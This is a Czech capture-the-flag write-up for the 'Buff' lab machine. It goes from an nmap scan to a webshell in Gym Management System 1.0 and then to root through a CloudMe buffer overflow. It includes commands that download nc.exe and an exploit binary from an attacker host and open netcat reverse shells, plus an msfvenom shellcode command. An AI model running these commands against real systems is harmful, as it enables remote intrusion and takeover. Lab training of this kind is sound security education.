tom@home.htb:~$

Blog o HTB

14 November 2020

Buff

Úvod a kontext

Buff je přímočará windowsová mašina, kde je dobře vidět rozdíl mezi vzdáleným footholdem a lokálním privesc. Web na portu 8080 běží na zranitelném Gym Management System 1.0, takže první shell se získá velmi rychle přes veřejnou aplikaci.

Skutečná hodnota článku je ale v druhém kroku. Po prvním shellu už není potřeba dál hledat webové chyby; lokální enumerace nainstalovaných aplikací odhalí CloudMe 1.11.2, jehož lokální buffer overflow se dá zneužít z kompromitovaného hostu k získání root.txt.

Počáteční průzkum

Vyhledání otevřených portů

Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.

ports=$(nmap -p- --min-rate=1000 -T4 -Pn $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v -Pn $IP
PORT     STATE SERVICE    VERSION
7680/tcp open  pando-pub?
8080/tcp open  http       Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
|_http-title: mrb3n's Bro Hut

Získání přístupu

Webshell přes Gym Management System 1.0

První vstup je přímočarý: veřejně dostupný Gym Management System 1.0 dovolí neautentizované RCE. Webshell stačí použít jen k tomu, aby se na host dostal stabilnější nástroj jako nc.exe.

python Buff-webshell.py "http://10.10.10.198:8080/"

powershell "wget http://10.10.14.9:8000/exe/nc.exe -outfile c:\programdata\nc.exe"
c:\programdata\nc.exe 10.10.14.9 4000 -e cmd

Získání user flagu

Jakmile běží shell pod běžným uživatelem, user.txt jen potvrzuje, že webový foothold už přešel v normální interaktivní přístup k hostu.

powershell "cat user.txt"
__CENSORED__

Eskalace oprávnění

Získání root flagu

Lokální enumerace odhalila CloudMe 1.11.2, tedy desktopovou aplikaci zranitelnou vůči buffer overflow. Připravený CloudMe-exploit.exe pak stačilo přenést na host a spustit z už získaného shellu.

msfvenom -a x86 -p windows/exec CMD='c:\programdata\nc.exe 10.10.14.9 4002 -e cmd' -b '\x00\x0A\x0D' -f python
powershell "wget http://10.10.14.9:8000/exe/CloudMe-exploit.exe -outfile c:\programdata\CloudMe-exploit.exe"
c:\programdata\CloudMe-exploit.exe
type root.txt
__CENSORED__

Shrnutí klíčových poznatků

Co si odnést do praxe

tags: windows - php - java - exploit - enumeration - privesc